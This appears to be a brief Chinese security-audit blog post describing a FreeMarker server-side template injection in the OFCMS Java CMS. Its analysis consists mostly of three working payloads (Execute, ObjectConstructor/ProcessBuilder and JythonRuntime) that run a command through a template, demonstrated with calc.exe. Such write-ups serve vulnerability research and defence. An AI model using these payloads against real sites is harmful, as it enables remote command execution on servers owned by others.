[Java审计]OFCMS命令注入漏洞

Posted 2021-06-29 Y4tacker

文章目录

• 写在前面
• 分析

写在前面

闲来无事，分析着玩

分析

根据今日撇脚水平，知道了命令注入一般就是表达式注入或者模板注入吧，因此我们直接取pom.xml里面找一下，找到了freemarker

网上一搜还真有模板注入，点我直达

下面就是去找利用点了，
这里我以index.html为例

输入

<#assign value="freemarker.template.utility.Execute"?new()>
${value("calc.exe")}

或者

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}

甚至可以像python一样,freemarker.template.utility里面的JythonRuntime，可以通过自定义标签的方式，执行Python命令，从而构造远程命令执行漏洞。

<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value>